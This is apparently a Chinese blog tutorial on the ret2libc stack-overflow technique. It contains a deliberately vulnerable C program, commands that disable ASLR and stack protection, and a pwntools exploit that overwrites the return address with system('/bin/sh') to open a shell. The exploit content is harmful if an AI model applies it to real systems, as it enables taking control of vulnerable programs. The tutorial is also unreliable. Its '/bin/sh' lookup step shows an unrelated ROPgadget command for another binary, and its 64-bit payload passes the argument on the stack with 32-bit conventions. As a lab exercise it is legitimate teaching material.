栈溢出之ret2libc

前言

本篇接着前几篇的进度介绍另一种基本ROP方法:ret2libc

ret2libc原理

libc是Linux下的ANSI C的函数库,ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。ret2libc类比之前介绍的三种方法,从字面意思看就是控制返回地址找libc中库函数存在的方法。

一般情况下,我们使用ret2libc主要针对动态链接编译的程序,程序动态链接了libc.so等动态链接库,虽然程序本身并没有用到system等危险函数,但是动态链接库中存在大量的可利用函数,就产生了新的攻击方式,从这些动态链接库中找可利用片段,拼接成恶意代码并控制rip跳转执行。

题目描述

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

关闭掉地址随机化和栈保护进行编译:

1
2
gcc ret2libc.c -g -fno-stack-protector -no-pie -o ret2libc64
echo 0 > /proc/sys/kernel/randomize_va_space

ROP过程

问题分析

使用gdb的checksec查看安全机制

分析程序,read buf局部变量时存在栈溢出问题,但是从题目中直接无法找到任何可利用的代码片段,也有NX保护无法直接执行shellcode,根据前面介绍的ret2libc原理,我们应该在程序的动态链接库里面寻找信息。

设想,只要在动态链接库中找到system函数,再找到/bin/sh字符串,然后覆盖返回地址跳转到动态链接库的system函数控制执行/bin/sh指令就可以得到shell。

寻找信息

接下来就按照整理好的思路一步步获取信息,此次需要使用objdump来在动态链接库中寻找信息。

1.ldd查看动态链接库

ldd ret2libc64

可以看到使用了libc.so.6,libc库中存在大量的可利用函数,所以我们需要在它里面寻找。

2.在动态链接库中寻找system地址

objdump -T /lib/x86_64-linux-gnu/libc.so.6 | grep system

3.在动态链接库中寻找”/bin/sh”地址

ROPgadget –binary ret2syscall –only “pop|ret” |grep ebx

4.找到可控局部变量到返回地址的偏移

0xfe290-0xfe210+0x8=0x88

记录一下得到的信息:

  • libc.so.6的基准地址是0x7fbf4cfcf000
  • libc_system函数的偏移是0x435d0,那么它的实际地址就是0x7FBF4D0125D0
  • /bin/sh字符串的偏移是0x17f573,那么它的实际地址就是0x7FBF4D14E573
  • 可控变量到返回地址的偏移是0x88

接下来就可以构造payload了

pwn

首先分析payload构成,我们需要使返回地址指向system函数,然后system函数被调用时,rbp后面会紧跟着system的返回地址,然后再跟着system函数的入参,所以payload就是局部变量到返回地址的偏移padding1,然后libc_system的地址覆盖返回地址,后面接着一个8字节随意填充的padding2,再接上入参/bin/sh

payload = padding1+system+padding2+”/bin/sh”

payload =”A”*0x88+p64(system_addr)+p64(123)+p64(binsh_addr)

然后写出exp:

1
2
3
4
5
6
7
8
9
from pwn import *

sh = process('./ret2libc64')

system_addr = 0x7FBF4D0125D0
binsh_addr = 0x7FBF4D14E573
payload = "A"*0x88+p64(system_addr)+p64(123)+p64(binsh_addr)
sh.sendline(payload)
sh.interactive()

执行exp即可获取shell

fork me on github